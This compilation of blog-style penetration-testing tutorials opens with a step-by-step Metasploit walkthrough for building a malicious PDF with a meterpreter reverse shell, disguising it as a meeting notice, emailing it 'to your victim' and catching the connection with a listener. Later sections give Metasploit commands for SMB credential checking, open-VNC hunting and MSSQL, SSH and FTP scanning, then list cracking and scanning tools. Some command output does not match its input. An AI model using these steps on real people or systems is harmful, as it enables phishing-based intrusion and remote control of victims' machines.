File Format Exploit !

File format bugs are exploitable vulnerabilities found within a given application, such as an Adobe PDF document. This class of exploit relies on a user actually opening a malicious file in a vulnerable application. Malicious files can be hosted remotely or sent via email.
In this tutorial I will give a demonstration how to attack client side using Adobe PDF Escape EXE vulnerability. Almost 95%(maybe)  Windows users have Adobe Acrobat (Acrobat Reader) application in their computer or laptops.

Here the first step is create a malicious PDF to use in this attack by using vulnerability in Adobe Reader .

msf >use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
msf >set payload windows/meterpreter/reverse_tcp
msf >set filename Important_Meeting_Notice.pdf
msf >set lhost 192.168.8.92
msf >set lport 443
msf > exploit

The next step is sending our malicious code to target e-mail. send it to your victim's.

After sending our malicious PDF files, we need to set up a listener to capture this reverse connection. We will use msfconsole to set up our multi handler listener. This will ensure that when the exploit is triggered, the attacker machine can receive the connection back from the target machine (reverse payload).

msf exploit(adobe_pdf_embedded_exe_nojs ) > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.8.92
LHOST => 192.168.8.92
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.8.92 :443
[*] Starting the payload handler...
msf exploit(handler) >

After the victim open our malicious PDF file there's an alert box guide victim to tick the "do not show this message again" and
click open. After the victim click open button, our listener start capture reverse connection.

We have successfully exploited a file format vulnerability by creating a malicious document through Metasploit and then sending it to our targeted user.
As a penetration tester, every bit of information can be used to craft an even better attack. Browser exploits and file format exploits are typically very effective, granted you do your homework.

Vulnerability scanning : with Metasploit!

Scanning is one of the most important steps in the penetration testing
process; if done thoroughly, it will provide the best value to your
client.

A vulnerability scanner is an automated program designed to look for
weaknesses in computers, computer systems, networks, and applications.
A vulnerability scanner can also use a given set of user credentials to
log into the remote system and enumerate the software and services to
determine whether they are patched.

The Basic Vulnerability Scan :
we use netcat to grab a banner from the target 192.168.1.2. Banner
grabbing is the act of connecting to a remote network service and
reading the service identification (banner) that is returned.

root@kali:/opt/framework3/msf3# nc 192.168.1.2 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.1

As you can see, The information returned tells us that the system
running on port 80 is a Microsoft IIS 5.1–based web server. Armed with
this information, we could use a vulnerability scanner to determine
whether this version of IIS has any vulnerabilities associated with it
and whether this particular server has been patched.

SMB Login Check :
A common situation to find yourself in is being in possession of a
valid username and password combination, and wondering where else you
can use it. This is where the SMB Login Check Scanner can be very
useful, as it will connect to a range of hosts and determine if the
username/password combination can access the target.

-----------------------
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options
      ---show options------

msf auxiliary(smb_login) > set RHOSTS 192.168.1.2 /24
RHOSTS => 192.168.1.2/24
msf auxiliary(smb_login) > set SMBUser user
SMBUser => user
msf auxiliary(smb_login) > set SMBPass pasword
SMBPass => pasword
msf auxiliary(smb_login) > set THREADS 50
THREADS => 50
msf auxiliary(smb_login) > run
--------------------------------------------

VNC Authentication :

The VNC Authentication None Scanner will search a range of IP addresses
looking for targets that are running a VNC server without a password
configured.

To utilize the VNC scanner, we first select the auxiliary module,
define our options, then let it run.
----------------------------------
msf auxiliary(vnc_none_auth) > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    5900             yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.2 /24
RHOSTS => 192.168.1.2/24
msf auxiliary(vnc_none_auth) > set THREADS 50
THREADS => 50
msf auxiliary(vnc_none_auth) > run

Targeted Scanning with metasploit !

A targeted scan looks for specific operating systems, services,
program versions, or configurations that are known to be exploitable
and that provide an easy door into a target network.

SMB Version Scanning :
Now that we have determined which hosts are available on the network,
we can attempt to determine which operating systems they are running.

we will use the 'scanner/smb/version' module to determine which
version of Windows is running on a target and which Samba version is
on a Linux host.

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(smb_version) > set THREADS 11
THREADS => 11
msf auxiliary(smb_version) > run
if we issue the 'hosts' command now, the newly acquired information is
stored in Metasploit's database.

Hunting for Poorly Configured Microsoft SQL Servers :
When MS SQL is installed, it listens by default either on TCP port 1433
or on a random dynamic TCP port. If MS SQL is listening on a dynamic port,
simply query UDP port 1434 to discover on what dynamic TCP port MS SQL
is listening.


Let us search and load the MSSQL ping module inside the msfconsole.

msf > search mssql

Exploits
========

   Name                                       Description
   ----                                       -----------
   windows/mssql/lyris_listmanager_weak_pass  Lyris ListManager MSDE Weak sa Password
   windows/mssql/ms02_039_slammer             Microsoft SQL Server Resolution Overflow
   windows/mssql/ms02_056_hello               Microsoft SQL Server Hello Overflow
   windows/mssql/mssql_payload                Microsoft SQL Server Payload Execution


Auxiliary
=========

   Name                       Description
   ----                       -----------
   admin/mssql/mssql_enum     Microsoft SQL Server Configuration Enumerator
   admin/mssql/mssql_exec     Microsoft SQL Server xp_cmdshell Command Execution
   admin/mssql/mssql_sql      Microsoft SQL Server Generic Query
   scanner/mssql/mssql_login  MSSQL Login Utility
   scanner/mssql/mssql_ping   MSSQL Ping Utility

msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options

Module options (auxiliary/scanner/mssql/mssql_ping):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   PASSWORD                              no        The password for the specified username
   RHOSTS                                yes       The target address range or CIDR identifier
   THREADS              1                yes       The number of concurrent threads
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification

msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.0
RHOSTS => 10.211.55.1/24
msf auxiliary(mssql_ping) > exploit

The first command we issued was to search for any 'mssql' plugins. The
second set of instructions was the 'use scanner/mssql/mssql_ping',
this will load the scanner module for us.

Next, 'show options' allows us to see what we need to specify. The
'set RHOSTS 192.168.1.0' sets the target IP we want to start looking
for SQL servers on.
After the 'run' command is issued, a scan is going to be performed and
pull back specific information about the MSSQL server.

Service Identification with metasploit !

Again, other than using Nmap to perform scanning for services on our
target network, Metasploit also includes a large variety of scanners
for various services, often helping you determine potentially
vulnerable running services on target machines.

SSH Server Scanning
If during your scanning you encounter machines running Secure Shell
(SSH), you should determine which version is running on the target. SSH is a
secure protocol, but vulnerabilities in various implementations have been
identified.

You can use the Framework’s ssh_version module to
determine the SSH version running on the target server.


msf > use scanner/ssh/ssh_version
msf  auxiliary(ssh_version) > set RHOST 127.0.0.1 
RHOST=> 127.0.0.1

msf auxiliary(ssh_version) > set THREADS 50
THREADS => 50

msf auxiliary(ssh_version) > run

FTP Scanning :
FTP is a complicated and insecure protocol. FTP servers are often the easiest
way into a target network, and you should always scan for, identify, and fingerprint
any FTP servers running on your target.

Scanning FTP services using the Framework’s
ftp_version module:



msf > use auxiliary/scanner/ftp/ftp_version

msf  auxiliary(ftp_version) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1

msf auxiliary(ftp_version) > set THREADS 255
THREADS => 255


msf auxiliary(ftp_version) > run

Top 10 security tools for penetration testing -2!

In my previous tutorial, i was explaning about  Penetration Testing Tools.

So here we continue...

 6. Cain & Abel :

Cain and abel is one of best Tool that is commonly used to Poison the

network

If cracking encrypted passwords or network keys is what you need, then

Cain& Abel is the tool for you. It uses network sniffing, Dictionary,

Brute-Force and Cryptanalysis attacks, cache uncovering and routing

protocol analysis methods to achieve this.

Features :

    Brute Force Attack
    Dictionary attack
    Crypt Analysis attack
    recording VoIP conversations
    sniffing the network
    decoding scrambled passwords
    recovering wireless network keys
    revealing password boxes
    uncovering cached passwords
    analyzing routing protocols

Cain and abel is mainly developed in order to help for security

professionals,Network admins.  The new version of cain label supports

APR (Arp Poison Routing) attacks.

You can download it from here. 

7. Acunetix:

Acunetix is essentially a web vulnerability scanner targeted at web

applications. It provides SQL injection, cross site scripting testing,

PCI compliance reports etc. along with identifying a multitude of

vulnerabilities.

Hacking is on the rise and the number of victims is increasing every

day. See how firewalls, SSL and locked-down servers can't stop your

web applications and websites from being hacked but how Acunetix

protects them with:

    AcuSensor Technology
    Industry's most advanced and in-depth SQL injection and Cross site 
    scripting testing
    Full HTML5 Support with Acunetix DeepScan Technology
    Comprehensive scanning of Single Page Applications and JavaScript-
    based websites
    Mobile Website Support
    Detection of Blind XSS vulnerabilities with AcuMonitor service
    Automated detection of DOM-based XSS vulnerabilities
    Advanced penetration testing tools, such as the HTTP Editor and the
    HTTP Fuzzer
    Extensive reporting facilities including PCI compliance reports
    Multi-threaded and lightning fast scanner crawls hundreds of 
    thousands of pages with ease.

You can download it from here.

8. John The Ripper :

This is the most powerful  password cracker tool.

This tool works on most of the environments, although it’s primarily

for UNIX systems. It is considered one of the fastest tools in this

genre. Password hash code and strength-checking code are also made

available to be integrated to your own software/code.

Attack types:

One of the modes John can use is the dictionary attack. It takes text 
string samples (usually from a file, called a wordlist, containing 
words found in a dictionary or real passwords cracked before), 
encrypting it in the same format as the password being examined 
(including both the encryption algorithm and key), and comparing the 
output to the encrypted string. It can also perform a variety of 
alterations to the dictionary words and try these. Many of these 
alterations are also used in John's single attack mode, which modifies 
an associated plaintext (such as a username with an encrypted password)
and checks the variations against the hashes.

John also offers a brute force mode. In this type of attack, the 
program goes through all the possible plaintexts, hashing each one and 
then comparing it to the input hash. John uses character frequency 
tables to try plaintexts containing more frequently used characters 
first. This method is useful for cracking passwords which do not 
appear in dictionary wordlists, but it does take a long time to run.

you can download it from here.

9. W3AF :

w3af (short for web application attack and audit framework) is an

open-source web application security scanner. The project provides a

vulnerability scanner and exploitation tool for Web applications.

It provides information about security vulnerabilities and aids in

penetration testing efforts.

Some of the features are:

fast HTTP requests,

integration of web and proxy servers into the code,

injecting payloads into various kinds of HTTP requests etc.

You can download it from here!

10.Netsparker:

Netsparker comes with a robust web application scanner that will

identify vulnerabilities, suggest remedial action etc. This tool can

also help exploit SQL injection and LFI (local file induction). It has

a command-line and GUI interface. It works only on Microsoft Windows.

You can download it from here !

Top 10 security tools for penetration testing -1!

Penetration testing is a way for you to simulate the methods that an attacker might use to circumvent

security controls and gain access to an target's systems. you won’t become an expert penetration tester

overnight; it takes years of practice and real-world experience to become proficient.

There are some Phases of the Penetration testing like :

1. Pre-engagement Interactions

2. Intelligence Gathering

3. Threat Modeling

4. Vulnerability Analysis

5. Exploitation

6. Post Exploitation

7. Reporting

Penetration Testing tools are used as part of a penetration test to

automate certain tasks, improve testing efficiency, and discover

issues that might be difficult to find using manual analysis

techniques alone.

Top 10 Penetration Testing Tools :

1. Kali-linux :

Kali Linux is an advanced Penetration Testing and Security Auditing

Linux distribution.

Kali Linux Features :

* More than 300 penetration testing tools

* Free and always will be

* Open source Git tree
* FHS compliant
* Vast wireless device support
* Custom kernel patched for injection
* Secure development environment
* GPG signed packages and repos
* ARMEL and ARMHF support
* Completely customizable

Download it from here.

2. Metasploit.

This is the most advanced and popular Framework that can be used to

for pen-testing. It is based on the concept of ‘exploit’ which is a

code that can surpass the security measures and enter a certain system.

The typical life cycle of a vulnerability and its exploitation is as

follows:

1. Discovery : A security researcher or the vendor discovers a critical

security vulnerability in the software.

Analysis: The researcher or others across the world begin analyzing the

vulnerability to determine its exploit ability.

Exploit Development :

This has usually been considered a bit

of a black art, requiring an in-depth understanding of the processor’s

registers, assembly code, offsets, and payloads.

Testing: This is the phase where the coder now checks the exploit code

against various platforms, service pack, or patches, and possibly even

for different processors.

Release:

Once the exploit is tested, and the specific parameters required for

its successful execution have been determined, the coder releases the

exploit, either privately or on a public forum. Often, the exploit is

tweaked so that it does not work right out of the box.This is usually

done to dissuade script kiddies from simply downloading the exploit and

running it against a vulnerable system.

Metasploit takes the following structured approach while mounting an attack:

i) Pick which exploit to use.

ii) Configure the exploit with remote IP address and remote port number.

iii) Pick a payload.

iv) Configure the payload with local IP address and local port number.

v) Execute the exploit.

You can download it from here.

3. Namp

This is a very popular tool that predominantly aids in understanding

the characteristics of any target network. The characteristics can

include: host, services, OS, packet filters/firewalls etc.  It works

on most of the environments and is open sourced.

Nmap support several types of scans like :

* TCP connect
* XMAS tree scan
* SYN stealth scan
* Null scan
* Windows scan
* ACK scan

You can download it from here.

4. Wireshark :

Wire-shark is a network packet analyzer. A network packet analyzer will

try to capture network packets and tries to display that packet data

as detailed as possible.

Penetration test tools like Wireshark come in handy for understanding

and exploiting the data organization posted by forms or services to

applications. Application vulnerabilities such as parameter pollution,

SQL injection, lack of input validation, as well as buffer overflow can

be easily detected and exploited using Wireshark.

Features

The following are some of the many features Wireshark provides:

    Available for UNIX and Windows.

    Capture live packet data from a network interface.

    Open files containing packet data captured with tcpdump/WinDump, Wireshark, and a number of other packet capture programs.

    Import packets from text files containing hex dumps of packet data.

    Display packets with very detailed protocol information.

    Save packet data captured.

    Export some or all packets in a number of capture file formats.

    Filter packets on many criteria.

    Search for packets on many criteria.

    Colorize packet display based on filters.

    Create various statistics.

You can download it from here.

5. Nessus:

Nessus is a great tool designed to automate the testing and discovery

of known security problems. Typically someone, a hacker group,

a security company, or a researcher discovers a specific way to

violate the security of a software product.

It is one of the most robust vulnerability identifier tools available.

It specializes in compliance checks, Sensitive data searches, IPs scan,

website scanning etc.

You can download it from here.

In my next tutorial , i will continue !